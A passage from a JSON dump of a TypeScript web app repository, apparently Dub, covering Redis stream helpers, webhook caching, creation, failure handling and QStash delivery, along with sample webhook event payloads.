}),\n      );\n\n      const { processedEntryIds, ...response } = await handler(entries);\n\n      // Optionally delete processed entries to prevent memory buildup\n      if (deleteAfterRead) {\n        try {\n          if (processedEntryIds.length > 0) {\n            // xdel supports deleting multiple IDs at once\n            await redis.xdel(this.streamKey, processedEntryIds);\n          }\n        } catch (error) {\n          console.warn(\"Failed to clean up processed stream entries:\", error);\n          // Don't throw - this is not critical\n        }\n      }\n\n      return response as Response;\n    } catch (error) {\n      console.error(\n        \"Failed to read workspace usage updates from stream:\",\n        error,\n      );\n      throw error;\n    }\n  }\n\n  /**\n   * Get stream information (length, first/last entry, etc.)\n   */\n  async getStreamInfo(): Promise<{\n    length: number;\n    firstEntryId: string | null;\n    lastEntryId: string | null;\n  }> {\n    try {\n      // Get stream length - check if stream exists first\n      let length = 0;\n      let firstEntryId: string | null = null;\n      let lastEntryId: string | null = null;\n\n      try {\n        // Try to get first entry to check if stream exists\n        const firstEntry = await redis.xrange(this.streamKey, \"-\", \"+\", 1);\n\n        if (firstEntry && Object.keys(firstEntry).length > 0) {\n          firstEntryId = Object.keys(firstEntry)[0];\n\n          // If stream exists, get its length and last entry\n          const entries = await redis.xrange(this.streamKey, \"-\", \"+\");\n          length = Object.keys(entries || {}).length;\n\n          if (length > 0) {\n            // Use \"$\" to get the last entry instead of \"+\"\n            const lastEntry = await redis.xrevrange(\n              this.streamKey,\n              \"+\",\n              \"-\",\n              1,\n            );\n\n            if (lastEntry && Object.keys(lastEntry).length > 0) {\n              const entryId = Object.keys(lastEntry)[0];\n\n              if (entryId !== firstEntryId) {\n                lastEntryId = entryId;\n              }\n            }\n          }\n        }\n      } catch (streamError) {\n        // Stream might not exist yet, which is fine\n        console.log(\"Stream does not exist or is empty:\", streamError);\n        console.log(streamError.message);\n        console.log(streamError.type);\n        console.log(JSON.stringify(streamError, null, 2));\n      }\n\n      return {\n        length,\n        firstEntryId,\n        lastEntryId,\n      };\n    } catch (error) {\n      console.error(\"Failed to get stream info:\", error);\n      throw error;\n    }\n  }\n}\n\n/* Workspace Usage Stream */\nconst WORKSPACE_USAGE_UPDATES_STREAM_KEY = \"workspace:usage:updates\";\nexport const workspaceUsageStream = new RedisStream(\n  WORKSPACE_USAGE_UPDATES_STREAM_KEY,\n);\nexport interface ClickEvent {\n  linkId: string;\n  workspaceId: string;\n  timestamp: string;\n}\n// Publishes a click event to any relevant streams in a single transaction\nexport const publishClickEvent = async (event: ClickEvent) => {\n  const { linkId, workspaceId, timestamp } = event;\n  try {\n    return await redis.xadd(WORKSPACE_USAGE_UPDATES_STREAM_KEY, \"*\", {\n      linkId,\n      workspaceId,\n      timestamp,\n    });\n  } catch (error) {\n    console.error(\"Failed to publish click update to streams:\", error);\n    throw error;\n  }\n};\n\n/* Partner Stats Stream */\nconst PARTNER_ACTIVITY_STREAM_KEY = \"partner:activity:updates\";\nexport const partnerActivityStream = new RedisStream(\n  PARTNER_ACTIVITY_STREAM_KEY,\n);\nexport interface PartnerActivityEvent {\n  programId: string;\n  partnerId: string;\n  timestamp: string;\n  eventType: \"click\" | \"lead\" | \"sale\" | \"commission\";\n}\n// Publishes a partner activity event to the stream\nexport const publishPartnerActivityEvent = async (\n  event: PartnerActivityEvent,\n) => {\n  const { programId, partnerId, timestamp, eventType } = event;\n  try {\n    return await redis.xadd(PARTNER_ACTIVITY_STREAM_KEY, \"*\", {\n      programId,\n      partnerId,\n      timestamp,\n      eventType,\n    });\n  } catch (error) {\n    console.error(\"Failed to publish partner activity event to stream:\", error);\n    throw error;\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/upstash/redis.ts",
    "content": "import { Redis } from \"@upstash/redis\";\n\n// Initiate Redis instance by connecting to REST URL\nexport const redis = new Redis({\n  url: process.env.UPSTASH_REDIS_REST_URL || \"\",\n  token: process.env.UPSTASH_REDIS_REST_TOKEN || \"\",\n});\n\n// This is a separate global Redis instance that we use\n// for global operations (e.g. linkCache, recordClick)\n// so that if this redis goes down, it won't impact other endpoints\nconst hasGlobalRedisConfig =\n  !!process.env.UPSTASH_GLOBAL_REDIS_REST_URL &&\n  !!process.env.UPSTASH_GLOBAL_REDIS_REST_TOKEN;\n\nconst redisConfig = {\n  url: hasGlobalRedisConfig\n    ? process.env.UPSTASH_GLOBAL_REDIS_REST_URL\n    : process.env.UPSTASH_REDIS_REST_URL || \"\",\n  token: hasGlobalRedisConfig\n    ? process.env.UPSTASH_GLOBAL_REDIS_REST_TOKEN\n    : process.env.UPSTASH_REDIS_REST_TOKEN || \"\",\n};\n\nexport const redisGlobal = new Redis(redisConfig);\n\nexport const redisGlobalWithTimeout = new Redis({\n  ...redisConfig,\n  signal: () => AbortSignal.timeout(1500),\n});\n"
  },
  {
    "path": "apps/web/lib/upstash/vector.ts",
    "content": "import { Index } from \"@upstash/vector\";\n\nexport const vectorIndex = new Index({\n  url: process.env.UPSTASH_VECTOR_REST_URL!,\n  token: process.env.UPSTASH_VECTOR_REST_TOKEN!,\n});\n"
  },
  {
    "path": "apps/web/lib/webhook/cache.ts",
    "content": "import { redis } from \"@/lib/upstash\";\nimport { WebhookCacheProps } from \"../types\";\nimport { isLinkLevelWebhook } from \"./utils\";\n\nconst WEBHOOK_CACHE_KEY_PREFIX = \"webhook\";\n\nclass WebhookCache {\n  async mset(webhooks: WebhookCacheProps[]) {\n    if (webhooks.length === 0) {\n      return;\n    }\n\n    const pipeline = redis.pipeline();\n\n    webhooks.map((webhook) => {\n      pipeline.set(this._createKey(webhook.id), this._format(webhook));\n    });\n\n    return await pipeline.exec();\n  }\n\n  async set(webhook: WebhookCacheProps) {\n    // We only cache the link level webhooks for now\n    if (!isLinkLevelWebhook(webhook)) {\n      return;\n    }\n\n    return await redis.set(this._createKey(webhook.id), this._format(webhook));\n  }\n\n  async mget(webhookIds: string[]) {\n    const webhooks = await redis.mget<WebhookCacheProps[]>(\n      webhookIds.map(this._createKey),\n    );\n\n    return webhooks.filter(Boolean);\n  }\n\n  async delete(webhookId: string) {\n    return await redis.del(this._createKey(webhookId));\n  }\n\n  async deleteMany(webhookIds: string[]) {\n    if (webhookIds.length === 0) {\n      return;\n    }\n\n    const pipeline = redis.pipeline();\n\n    webhookIds.map((webhookId) => {\n      pipeline.del(this._createKey(webhookId));\n    });\n\n    return await pipeline.exec();\n  }\n\n  _format(webhook: WebhookCacheProps) {\n    return {\n      id: webhook.id,\n      url: webhook.url,\n      secret: webhook.secret,\n      triggers: webhook.triggers,\n      ...(webhook.disabledAt ? { disabledAt: webhook.disabledAt } : {}),\n    };\n  }\n\n  _createKey(webhookId: string) {\n    return `${WEBHOOK_CACHE_KEY_PREFIX}:${webhookId}`;\n  }\n}\n\nexport const webhookCache = new WebhookCache();\n"
  },
  {
    "path": "apps/web/lib/webhook/constants.ts",
    "content": "export const WEBHOOK_SECRET_LENGTH = 16;\n\nexport const WEBHOOK_ID_PREFIX = \"wh_\";\n\nexport const WEBHOOK_SECRET_PREFIX = \"whsec_\";\n\nexport const WEBHOOK_EVENT_ID_PREFIX = \"evt_\";\n\nexport const WORKSPACE_LEVEL_WEBHOOK_TRIGGERS = [\n  \"link.created\",\n  \"link.updated\",\n  \"link.deleted\",\n  \"lead.created\",\n  \"sale.created\",\n] as const;\n\nexport const PROGRAM_LEVEL_WEBHOOK_TRIGGERS = [\n  \"partner.application_submitted\",\n  \"partner.enrolled\",\n  \"commission.created\",\n  \"bounty.created\",\n  \"bounty.updated\",\n  \"payout.confirmed\",\n] as const;\n\nexport const LINK_LEVEL_WEBHOOK_TRIGGERS = [\"link.clicked\"] as const;\n\nexport const WEBHOOK_TRIGGERS = [\n  ...WORKSPACE_LEVEL_WEBHOOK_TRIGGERS,\n  ...PROGRAM_LEVEL_WEBHOOK_TRIGGERS,\n  ...LINK_LEVEL_WEBHOOK_TRIGGERS,\n] as const;\n\nexport const WEBHOOK_TRIGGER_DESCRIPTIONS: Record<\n  (typeof WEBHOOK_TRIGGERS)[number],\n  string\n> = {\n  \"link.created\": \"Link created\",\n  \"link.updated\": \"Link updated\",\n  \"link.deleted\": \"Link deleted\",\n  \"link.clicked\": \"Link clicked\",\n  \"lead.created\": \"Lead created\",\n  \"sale.created\": \"Sale created\",\n  \"partner.application_submitted\": \"Partner application submitted\",\n  \"partner.enrolled\": \"Partner enrolled\",\n  \"commission.created\": \"Commission created\",\n  \"bounty.created\": \"Bounty created\",\n  \"bounty.updated\": \"Bounty updated\",\n  \"payout.confirmed\": \"Payout confirmed\",\n} as const;\n\nexport const WEBHOOK_FAILURE_NOTIFY_THRESHOLDS = [5, 10, 15] as const;\nexport const WEBHOOK_FAILURE_DISABLE_THRESHOLD = 20 as const;\n"
  },
  {
    "path": "apps/web/lib/webhook/create-webhook.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { webhookCache } from \"@/lib/webhook/cache\";\nimport { WEBHOOK_ID_PREFIX } from \"@/lib/webhook/constants\";\nimport { isLinkLevelWebhook } from \"@/lib/webhook/utils\";\nimport { prisma } from \"@dub/prisma\";\nimport { Project, WebhookReceiver } from \"@dub/prisma/client\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { createWebhookSchema } from \"../zod/schemas/webhooks\";\nimport { createWebhookSecret } from \"./secret\";\n\nexport async function createWebhook({\n  name,\n  url,\n  secret,\n  triggers,\n  linkIds,\n  workspace,\n  receiver,\n  installationId,\n}: z.infer<typeof createWebhookSchema> & {\n  workspace: Pick<Project, \"id\" | \"plan\">;\n  receiver: WebhookReceiver;\n  installationId?: string;\n}) {\n  // Webhooks are only supported on Business plans and above\n  if ([\"free\", \"pro\"].includes(workspace.plan)) {\n    return;\n  }\n\n  const webhook = await prisma.webhook.create({\n    data: {\n      id: createId({ prefix: WEBHOOK_ID_PREFIX }),\n      name,\n      url,\n      triggers,\n      receiver,\n      installationId,\n      projectId: workspace.id,\n      secret: secret || createWebhookSecret(),\n      links: {\n        ...(linkIds &&\n          linkIds.length > 0 && {\n            create: linkIds.map((linkId) => ({\n              linkId,\n            })),\n          }),\n      },\n    },\n    select: {\n      id: true,\n      name: true,\n      url: true,\n      secret: true,\n      triggers: true,\n      links: true,\n      disabledAt: true,\n      installationId: true,\n    },\n  });\n\n  await prisma.project.update({\n    where: {\n      id: workspace.id,\n    },\n    data: {\n      webhookEnabled: true,\n    },\n  });\n\n  waitUntil(\n    (async () => {\n      const links = await prisma.link.findMany({\n        where: {\n          id: { in: linkIds },\n          projectId: workspace.id,\n        },\n        include: {\n          webhooks: {\n            select: {\n              webhookId: true,\n            },\n          },\n        },\n      });\n\n      const formatedLinks = links.map((link) => {\n        return {\n          ...link,\n          webhookIds: link.webhooks.map((webhook) => webhook.webhookId),\n        };\n      });\n\n      Promise.all([\n        ...(links && links.length > 0\n          ? [linkCache.mset(formatedLinks), []]\n          : []),\n\n        ...(isLinkLevelWebhook(webhook) ? [webhookCache.set(webhook)] : []),\n      ]);\n    })(),\n  );\n\n  return webhook;\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/failure.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport WebhookDisabled from \"@dub/email/templates/webhook-disabled\";\nimport WebhookFailed from \"@dub/email/templates/webhook-failed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Webhook } from \"@dub/prisma/client\";\nimport { webhookCache } from \"./cache\";\nimport {\n  WEBHOOK_FAILURE_DISABLE_THRESHOLD,\n  WEBHOOK_FAILURE_NOTIFY_THRESHOLDS,\n} from \"./constants\";\nimport { toggleWebhooksForWorkspace } from \"./update-webhook\";\n\nexport const handleWebhookFailure = async (webhookId: string) => {\n  const webhook = await prisma.webhook.update({\n    where: {\n      id: webhookId,\n    },\n    data: {\n      consecutiveFailures: { increment: 1 },\n      lastFailedAt: new Date(),\n    },\n    select: {\n      id: true,\n      url: true,\n      secret: true,\n      triggers: true,\n      disabledAt: true,\n      consecutiveFailures: true,\n      lastFailedAt: true,\n      projectId: true,\n    },\n  });\n\n  if (webhook.disabledAt) {\n    return;\n  }\n\n  if (\n    WEBHOOK_FAILURE_NOTIFY_THRESHOLDS.includes(\n      webhook.consecutiveFailures as any,\n    )\n  ) {\n    await notifyWebhookFailure(webhook);\n    return;\n  }\n\n  if (webhook.consecutiveFailures >= WEBHOOK_FAILURE_DISABLE_THRESHOLD) {\n    // Disable the webhook\n    const updatedWebhook = await prisma.webhook.update({\n      where: { id: webhookId },\n      data: {\n        disabledAt: new Date(),\n      },\n    });\n\n    await Promise.allSettled([\n      // Notify the user\n      notifyWebhookDisabled(updatedWebhook),\n\n      // Update the webhook cache\n      webhookCache.set(updatedWebhook),\n\n      // Update the project webhookEnabled flag\n      toggleWebhooksForWorkspace({\n        workspaceId: webhook.projectId,\n      }),\n    ]);\n  }\n};\n\nexport const resetWebhookFailureCount = async (webhookId: string) => {\n  await prisma.webhook.update({\n    where: { id: webhookId },\n    data: {\n      consecutiveFailures: 0,\n      lastFailedAt: null,\n    },\n  });\n};\n\n// Send email to workspace owners when the webhook is failing to deliver\nconst notifyWebhookFailure = async (\n  webhook: Pick<Webhook, \"id\" | \"url\" | \"projectId\" | \"consecutiveFailures\">,\n) => {\n  const workspaceOwners = await prisma.projectUsers.findFirst({\n    where: { projectId: webhook.projectId, role: \"owner\" },\n    select: {\n      project: {\n        select: {\n          name: true,\n          slug: true,\n        },\n      },\n      user: {\n        select: {\n          email: true,\n        },\n      },\n    },\n  });\n\n  if (!workspaceOwners) {\n    return;\n  }\n\n  const email = workspaceOwners.user.email!;\n  const workspace = workspaceOwners.project;\n\n  sendEmail({\n    subject: \"Webhook is failing to deliver\",\n    to: email,\n    react: WebhookFailed({\n      email,\n      workspace: {\n        name: workspace.name,\n        slug: workspace.slug,\n      },\n      webhook: {\n        id: webhook.id,\n        url: webhook.url,\n        consecutiveFailures: webhook.consecutiveFailures,\n        disableThreshold: WEBHOOK_FAILURE_DISABLE_THRESHOLD,\n      },\n    }),\n  });\n};\n\n// Send email to the workspace owners when the webhook has been disabled\nconst notifyWebhookDisabled = async (\n  webhook: Pick<Webhook, \"id\" | \"url\" | \"projectId\">,\n) => {\n  const workspaceOwners = await prisma.projectUsers.findFirst({\n    where: { projectId: webhook.projectId, role: \"owner\" },\n    select: {\n      project: {\n        select: {\n          name: true,\n          slug: true,\n        },\n      },\n      user: {\n        select: {\n          email: true,\n        },\n      },\n    },\n  });\n\n  if (!workspaceOwners) {\n    return;\n  }\n\n  const email = workspaceOwners.user.email!;\n  const workspace = workspaceOwners.project;\n\n  sendEmail({\n    subject: \"Webhook has been disabled\",\n    to: email,\n    react: WebhookDisabled({\n      email,\n      workspace: {\n        name: workspace.name,\n        slug: workspace.slug,\n      },\n      webhook: {\n        id: webhook.id,\n        url: webhook.url,\n        disableThreshold: WEBHOOK_FAILURE_DISABLE_THRESHOLD,\n      },\n    }),\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/webhook/get-webhooks.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { WebhookTrigger } from \"../types\";\n\ninterface GetWebhooksProps {\n  workspaceId: string;\n  triggers?: WebhookTrigger[];\n  disabled?: boolean;\n  installationId?: string | null; // null = user-added webhooks, string = specific installation, undefined = no filter\n}\n\nexport async function getWebhooks({\n  workspaceId,\n  triggers,\n  disabled,\n  installationId,\n}: GetWebhooksProps) {\n  return await prisma.webhook.findMany({\n    where: {\n      projectId: workspaceId,\n      ...(triggers ? { triggers: { array_contains: triggers } } : {}),\n      ...(disabled !== undefined\n        ? { disabledAt: disabled ? { not: null } : null }\n        : {}),\n      ...(installationId !== undefined\n        ? { installationId: installationId === null ? null : installationId }\n        : {}),\n    },\n    select: {\n      id: true,\n      name: true,\n      url: true,\n      secret: true,\n      triggers: true,\n      disabledAt: true,\n      links: true,\n      receiver: true,\n      installationId: true,\n    },\n    orderBy: {\n      createdAt: \"desc\",\n    },\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/handle-external-payout-event.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { PayoutStatus, Webhook } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { payoutWebhookEventSchema } from \"../zod/schemas/payouts\";\n\ninterface WebhookPayload {\n  webhook: Pick<Webhook, \"id\" | \"installationId\">;\n  status: \"success\" | \"failure\" | \"temporary_failure\";\n  payload: {\n    id: string;\n    data: z.infer<typeof payoutWebhookEventSchema>;\n    event: \"payout.confirmed\";\n  };\n}\n\nexport async function handleExternalPayoutEvent({\n  webhook,\n  status,\n  payload,\n}: WebhookPayload) {\n  if (payload.event !== \"payout.confirmed\") {\n    console.log(\"Event is not a payout.confirmed event. Skipping...\");\n    return;\n  }\n\n  if (status === \"temporary_failure\") {\n    console.log(\"Temporary failure event. Skipping...\");\n    return;\n  }\n\n  if (webhook.installationId) {\n    console.log(\"This webhook is associated with an installation. Skipping...\");\n    return;\n  }\n\n  const { id: payoutId } = payoutWebhookEventSchema\n    .pick({ id: true })\n    .parse(payload.data);\n\n  const payout = await prisma.payout.findUnique({\n    where: {\n      id: payoutId,\n    },\n  });\n\n  if (!payout) {\n    console.error(`Payout not found for id ${payoutId}.`);\n    return;\n  }\n\n  if (payout.mode !== \"external\") {\n    console.log(\"Payout is not an external payout. Skipping...\");\n    return;\n  }\n\n  // The payout was already processed by another webhook event\n  if (payout.webhookEventId) {\n    console.log(\n      \"Payout was already processed by another webhook event. Skipping...\",\n    );\n    return;\n  }\n\n  // The payout is already completed or failed\n  if (payout.status !== \"processing\") {\n    console.log(\"Payout is not in the processing state. Skipping...\");\n    return;\n  }\n\n  const payoutStatus: PayoutStatus =\n    status === \"success\" ? \"completed\" : \"failed\";\n\n  await prisma.$transaction(async (tx) => {\n    await tx.payout.update({\n      where: {\n        id: payout.id,\n      },\n      data: {\n        status: payoutStatus,\n        webhookEventId: payload.id,\n        ...(payoutStatus === \"completed\"\n          ? {\n              paidAt: new Date(),\n            }\n          : {\n              failureReason: \"External webhook failed to process the payout.\",\n            }),\n      },\n    });\n\n    if (payoutStatus === \"completed\") {\n      await tx.commission.updateMany({\n        where: {\n          payoutId: payout.id,\n        },\n        data: {\n          status: \"paid\",\n        },\n      });\n    }\n  });\n\n  console.log(`Marked payout ${payout.id} as ${payoutStatus}.`);\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/publish.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Webhook } from \"@dub/prisma/client\";\nimport { WebhookTrigger, WorkspaceProps } from \"../types\";\nimport { sendWebhooks } from \"./qstash\";\nimport { WebhookEventPayload } from \"./types\";\n\n// Send workspace level webhook\nexport const sendWorkspaceWebhook = async ({\n  trigger,\n  workspace,\n  data,\n  webhooks,\n}: {\n  trigger: WebhookTrigger;\n  workspace: Pick<WorkspaceProps, \"id\" | \"webhookEnabled\">;\n  data: WebhookEventPayload;\n  webhooks?: Pick<Webhook, \"id\" | \"url\" | \"secret\">[]; // optionally accept webhooks when sending bulk webhooks (eg: payout.confirmed)\n}) => {\n  if (!workspace.webhookEnabled) {\n    return;\n  }\n\n  if (webhooks === undefined) {\n    webhooks = await prisma.webhook.findMany({\n      where: {\n        projectId: workspace.id,\n        disabledAt: null,\n        triggers: {\n          array_contains: [trigger],\n        },\n      },\n      select: {\n        id: true,\n        url: true,\n        secret: true,\n      },\n    });\n  }\n\n  return sendWebhooks({\n    trigger,\n    webhooks,\n    data,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/webhook/qstash.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { webhookPayloadSchema } from \"@/lib/webhook/schemas\";\nimport { Webhook, WebhookReceiver } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { formatEventForSegment } from \"../integrations/segment/transform\";\nimport { createSegmentBasicAuthHeader } from \"../integrations/segment/utils\";\nimport { formatEventForSlack } from \"../integrations/slack/transform\";\nimport { WebhookTrigger } from \"../types\";\nimport { createWebhookSignature } from \"./signature\";\nimport { prepareWebhookPayload } from \"./transform\";\nimport { WebhookEventPayload } from \"./types\";\nimport { identifyWebhookReceiver } from \"./utils\";\n\n// Send webhooks to multiple webhooks\nexport const sendWebhooks = async ({\n  webhooks,\n  trigger,\n  data,\n}: {\n  webhooks: Pick<Webhook, \"id\" | \"url\" | \"secret\">[];\n  trigger: WebhookTrigger;\n  data: WebhookEventPayload;\n}) => {\n  if (webhooks.length === 0) {\n    return;\n  }\n\n  const payload = prepareWebhookPayload(trigger, data);\n\n  return await Promise.all(\n    webhooks.map((webhook) =>\n      publishWebhookEventToQStash({ webhook, payload }),\n    ),\n  );\n};\n\n// publish webhook event to QStash\nconst publishWebhookEventToQStash = async ({\n  webhook,\n  payload,\n}: {\n  webhook: Pick<Webhook, \"id\" | \"url\" | \"secret\">;\n  payload: z.infer<typeof webhookPayloadSchema>;\n}) => {\n  const searchParams = {\n    webhookId: webhook.id,\n    eventId: payload.id,\n    event: payload.event,\n  };\n\n  const callbackUrl = buildCallbackUrl(\n    `${APP_DOMAIN_WITH_NGROK}/api/webhooks/callback`,\n    searchParams,\n  );\n\n  const failureCallbackUrl = buildCallbackUrl(\n    `${APP_DOMAIN_WITH_NGROK}/api/webhooks/callback`,\n    {\n      ...searchParams,\n      failed: \"true\",\n    },\n  );\n\n  const receiver = identifyWebhookReceiver(webhook.url);\n  const finalPayload = transformPayload({ payload, receiver });\n  const signature = await createWebhookSignature(webhook.secret, finalPayload);\n\n  // TODO:\n  // Add deduplicationId to the webhook\n\n  const response = await qstash.publishJSON({\n    url: webhook.url,\n    body: finalPayload,\n    headers: {\n      \"Dub-Signature\": signature,\n      \"Upstash-Hide-Headers\": \"true\",\n\n      // Integration specific headers\n      ...(receiver === \"segment\" && {\n        \"Upstash-Forward-Authorization\": createSegmentBasicAuthHeader(\n          webhook.secret,\n        ),\n      }),\n    },\n    callback: callbackUrl.href,\n    failureCallback: failureCallbackUrl.href,\n    ...(process.env.NODE_ENV === \"test\" && { delay: 5 }),\n  });\n\n  if (!response.messageId) {\n    console.error(\"Failed to publish webhook event to QStash\", response);\n  }\n\n  if (process.env.NODE_ENV === \"development\") {\n    console.debug(\"Published webhook event to QStash\", {\n      ...response,\n      payload: finalPayload,\n    });\n  }\n\n  return {\n    ...response,\n    webhookEventId: payload.id,\n  };\n};\n\n// Transform the payload based on the integration\nconst transformPayload = ({\n  payload,\n  receiver,\n}: {\n  payload: z.infer<typeof webhookPayloadSchema>;\n  receiver: WebhookReceiver;\n}) => {\n  switch (receiver) {\n    case \"slack\":\n      return formatEventForSlack(payload);\n    case \"segment\":\n      return formatEventForSegment(payload);\n    default:\n      return payload;\n  }\n};\n\nfunction buildCallbackUrl(base: string, params: Record<string, string>): URL {\n  const url = new URL(base);\n\n  Object.entries(params).forEach(([key, value]) => {\n    url.searchParams.append(key, value);\n  });\n\n  return url;\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/bounty-created.json",
    "content": "{\n  \"id\": \"bnty_1K39DGZG3MHY9RP4PD0AS2C5P\",\n  \"name\": \"Create a video about Dub and earn $500\",\n  \"description\": \"Create a video about Dub and earn $500. This is a test bounty.\",\n  \"type\": \"submission\",\n  \"startsAt\": \"2025-08-01T17:34:00.000Z\",\n  \"endsAt\": \"2025-09-01T17:34:00.000Z\",\n  \"submissionsOpenAt\": null,\n  \"submissionFrequency\": null,\n  \"maxSubmissions\": 1,\n  \"rewardAmount\": 50000,\n  \"rewardDescription\": null,\n  \"submissionRequirements\": {\n    \"image\": {},\n    \"url\": {}\n  },\n  \"performanceCondition\": null,\n  \"performanceScope\": null,\n  \"groups\": [\n    {\n      \"id\": \"grp_1K2E25381GVMG7HHM057TB92F\"\n    }\n  ]\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/bounty-updated.json",
    "content": "{\n  \"id\": \"bnty_1K39DGZG3MHY9RP4PD0AS2C5P\",\n  \"name\": \"Create a video about Dub and earn $1,000\",\n  \"description\": \"Create a video about Dub and earn $1,000. This is a live bounty.\",\n  \"type\": \"submission\",\n  \"startsAt\": \"2025-08-01T17:34:00.000Z\",\n  \"endsAt\": \"2025-09-01T17:34:00.000Z\",\n  \"submissionsOpenAt\": null,\n  \"submissionFrequency\": null,\n  \"maxSubmissions\": 1,\n  \"rewardAmount\": 100000,\n  \"rewardDescription\": null,\n  \"submissionRequirements\": {\n    \"image\": {},\n    \"url\": {}\n  },\n  \"performanceCondition\": null,\n  \"performanceScope\": null,\n  \"groups\": [\n    {\n      \"id\": \"grp_1K2E25381GVMG7HHM057TB92F\"\n    }\n  ]\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/commission-created.json",
    "content": "{\n  \"id\": \"cm_1K09DJTBCRT24P6BRD515CK29\",\n  \"type\": \"sale\",\n  \"amount\": 50000,\n  \"earnings\": 10000,\n  \"currency\": \"usd\",\n  \"status\": \"pending\",\n  \"invoiceId\": null,\n  \"description\": null,\n  \"quantity\": 1,\n  \"userId\": \"cludszk1h0000wmd2e0ea2b0p\",\n  \"createdAt\": \"2025-07-16T10:48:14.722Z\",\n  \"updatedAt\": \"2025-07-16T10:48:14.960Z\",\n  \"partner\": {\n    \"id\": \"pn_1K06X6FX2GRB31NCM2VVCGJ72\",\n    \"name\": \"Matthew Hayden\",\n    \"email\": \"matthew@example.com\",\n    \"image\": null,\n    \"payoutsEnabledAt\": null,\n    \"country\": \"US\",\n    \"totalClicks\": 50,\n    \"totalLeads\": 15,\n    \"totalConversions\": 10,\n    \"totalSales\": 10,\n    \"totalSaleAmount\": 100000,\n    \"totalCommissions\": 50000\n  },\n  \"customer\": {\n    \"id\": \"cus_1K09DJDEACR47NPYC93RM43WF\",\n    \"externalId\": \"TaMD05AnuyqeI\",\n    \"name\": \"David\",\n    \"email\": \"david@example.com\",\n    \"avatar\": null,\n    \"country\": \"US\",\n    \"sales\": 1,\n    \"saleAmount\": 50000,\n    \"createdAt\": \"2025-07-16T10:48:01.739Z\"\n  },\n  \"link\": {\n    \"id\": \"cm0lcuvtz000xcutmqw4a7wi3\",\n    \"shortLink\": \"https://dub.sh/track-test\",\n    \"domain\": \"dub.sh\",\n    \"key\": \"track-test\"\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/lead-created.json",
    "content": "{\n  \"eventName\": \"Signup\",\n  \"customer\": {\n    \"id\": \"cus_Ql3PvCTbPXBpp6vn7x5oHb5G\",\n    \"externalId\": \"cus_BH6tDUWc9n0Y2pf55tVbk1hc\",\n    \"name\": \"Tiny Beige Badger\",\n    \"email\": \"tiny.beige.badger@example.com\",\n    \"avatar\": \"https://api.dub.co/og/avatar/cus_BH6tDUWc9n0Y2pf55tVbk1hc\",\n    \"createdAt\": \"2025-01-14T04:49:23.385Z\"\n  },\n  \"click\": {\n    \"id\": \"GWGrkftJdYlZD2mq\",\n    \"timestamp\": \"2025-02-03T09:35:57.926Z\",\n    \"url\": \"https://github.com/dubinc/dub\",\n    \"country\": \"US\",\n    \"city\": \"San Jose\",\n    \"region\": \"sfo1\",\n    \"continent\": \"NA\",\n    \"device\": \"Desktop\",\n    \"browser\": \"Chrome\",\n    \"os\": \"Mac OS\",\n    \"referer\": \"(direct)\",\n    \"refererUrl\": \"(direct)\",\n    \"qr\": false,\n    \"ip\": \"185.211.32.242\"\n  },\n  \"link\": {\n    \"id\": \"cm0lcuvtz000xcutmqw4a7wi3\",\n    \"domain\": \"dub.sh\",\n    \"key\": \"track-test\",\n    \"url\": \"https://github.com/dubinc/dub\",\n    \"trackConversion\": true,\n    \"externalId\": null,\n    \"tenantId\": null,\n    \"partnerId\": \"pn_cm0lcuvtz000xcutmqw4a7wi3\",\n    \"programId\": \"prog_CYCu7IMAapjkRpTnr8F1azjN\",\n    \"archived\": false,\n    \"expiresAt\": \"1970-01-01T00:00:00.000Z\",\n    \"expiredUrl\": null,\n    \"disabledAt\": null,\n    \"password\": null,\n    \"proxy\": false,\n    \"title\": \"GitHub - dubinc/dub: Open-source link management infrastructure. Loved by modern marketing teams like Vercel, Raycast...\",\n    \"description\": \"Open-source link management infrastructure. Loved by modern marketing teams like Vercel, Raycast, and Perplexity. - dubinc/dub\",\n    \"image\": \"https://repository-images.githubusercontent.com/529708137/419e9be4-a9d1-4c85-9f83-47a78ad92583\",\n    \"video\": null,\n    \"rewrite\": false,\n    \"doIndex\": false,\n    \"ios\": null,\n    \"android\": null,\n    \"geo\": null,\n    \"publicStats\": false,\n    \"folderId\": null,\n    \"tagId\": null,\n    \"tags\": [],\n    \"webhookIds\": [],\n    \"comments\": null,\n    \"shortLink\": \"https://dub.sh/track-test\",\n    \"qrCode\": \"https://api.dub.co/qr?url=https://dub.sh/track-test?qr=1\",\n    \"utm_source\": null,\n    \"utm_medium\": null,\n    \"utm_campaign\": null,\n    \"utm_term\": null,\n    \"utm_content\": null,\n    \"userId\": \"cludszk1h0000wmd2e0ea2b0p\",\n    \"workspaceId\": \"ws_clrei1gld0002vs9mzn93p8ik\",\n    \"clicks\": 882,\n    \"lastClicked\": \"2025-01-14T04:49:10.000Z\",\n    \"leads\": 3632,\n    \"sales\": 2811,\n    \"saleAmount\": 290300,\n    \"createdAt\": \"2024-09-02T18:49:56.136Z\",\n    \"updatedAt\": \"2025-01-14T04:49:23.740Z\",\n    \"projectId\": \"clrei1gld0002vs9mzn93p8ik\",\n    \"testVariants\": null,\n    \"testCompletedAt\": null,\n    \"testStartedAt\": null\n  },\n  \"metadata\": null\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/link-clicked.json",
